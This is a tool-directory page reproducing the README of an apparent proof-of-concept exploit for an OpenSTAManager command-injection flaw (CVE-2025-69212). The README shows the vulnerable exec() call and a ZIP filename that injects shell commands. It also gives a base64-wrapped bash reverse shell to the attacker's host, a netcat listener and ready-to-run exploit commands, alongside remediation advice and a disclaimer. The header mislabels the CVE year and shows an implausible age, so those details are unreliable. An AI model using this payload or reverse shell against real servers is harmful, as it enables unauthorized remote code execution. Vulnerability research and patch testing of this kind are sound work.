Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-69212 — Python poc, exploit for CVE-2025-69212 | Kitploit
Tools/GitHubGitHub/c0gnit00/cve-2026-69212
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubc0gnit00/cve-2026-69212

CVE-2026-69212

Python poc, exploit for CVE-2025-69212

View Repository
242 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-69212 — OpenSTAManager OS Command Injection (RCE)

Proof-of-concept exploit for CVE-2025-69212, an OS Command Injection vulnerability in OpenSTAManager <= 2.9.8 that allows an authenticated attacker to achieve Remote Code Execution via a maliciously crafted ZIP file upload.

Advisory

  • CVE: CVE-2025-69212
  • GHSA: GHSA-25fp-8w8p-mx36
  • Affected versions: OpenSTAManager <= 2.9.8
  • Fixed in: OpenSTAManager 2.9.9+
  • CVSS: Critical

Vulnerability Details

The vulnerability exists in src/Util/XML.php at line ~100, where the application passes a user-controlled filename directly into a shell exec() call without sanitization:

root@kitploit:~
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');

When a ZIP archive is uploaded via the importFE_ZIP plugin (/actions.php), the application extracts the ZIP and passes each entry's filename into . An attacker can craft a ZIP with a malicious filename that breaks out of the double-quoted argument and injects arbitrary shell commands.

Download Tool
.p7m
exec()

Injection payload (filename):

root@kitploit:~
invoice.p7m";<COMMAND>;echo ".p7m

Resulting shell execution:

root@kitploit:~
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
#                                   ^^^^^^^^^^^^ injected here

Note: The forward slash / cannot appear directly in the filename because ZipArchive::extractTo() treats it as a path separator. The PoC avoids this by base64-encoding the reverse shell payload.


Requirements

  • Python 3.x
  • requests library
  • Valid OpenSTAManager credentials (any role with access to the import plugin)
  • A listener on the attacker machine (e.g. nc)

Install dependencies:

root@kitploit:~
pip install requests

Usage

root@kitploit:~
python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>

Options

ArgumentRequiredDescription
-u, --urlYesTarget base URL (e.g. http://target.htb)
-U, --usernameYesOpenSTAManager username
-P, --passwordYesOpenSTAManager password
--lhostYesYour IP address for the reverse shell
--lportYesYour listening port for the reverse shell
--proxyNoHTTP proxy (e.g. http://127.0.0.1:8080)

Example

root@kitploit:~
# Start listener
nc -lvnp 4444

# Run exploit
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444

# Route through Burp Suite
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080

How It Works

  1. Authentication — Logs into OpenSTAManager using provided credentials
  2. Payload building — Constructs a ZIP archive containing a .p7m file whose filename includes the injected command
  3. Base64 encoding — The reverse shell (bash -i >& /dev/tcp/LHOST/LPORT 0>&1) is base64-encoded to avoid forward slashes in the filename
  4. Upload — POSTs the ZIP to /actions.php via the importFE_ZIP plugin
  5. Execution — The server extracts the ZIP, passes the malicious filename to exec(), triggering the reverse shell
  6. Threading — The upload runs in a daemon thread since bash holds the HTTP connection open; the script exits cleanly without waiting for a response

Remediation

Update to OpenSTAManager 2.9.9 or later, which sanitizes filenames before passing them to shell commands.

If patching immediately is not possible, disable the importFE_ZIP plugin or restrict access to /actions.php to trusted users only.


Disclaimer

This tool is intended for authorized security testing and educational purposes only. Use only on systems you own or have explicit written permission to test. Unauthorized use against systems you do not own is illegal and unethical. The author is not responsible for any misuse or damage caused by this tool.


References

  • GHSA-25fp-8w8p-mx36
  • OpenSTAManager GitHub
  • NVD - CVE-2025-69212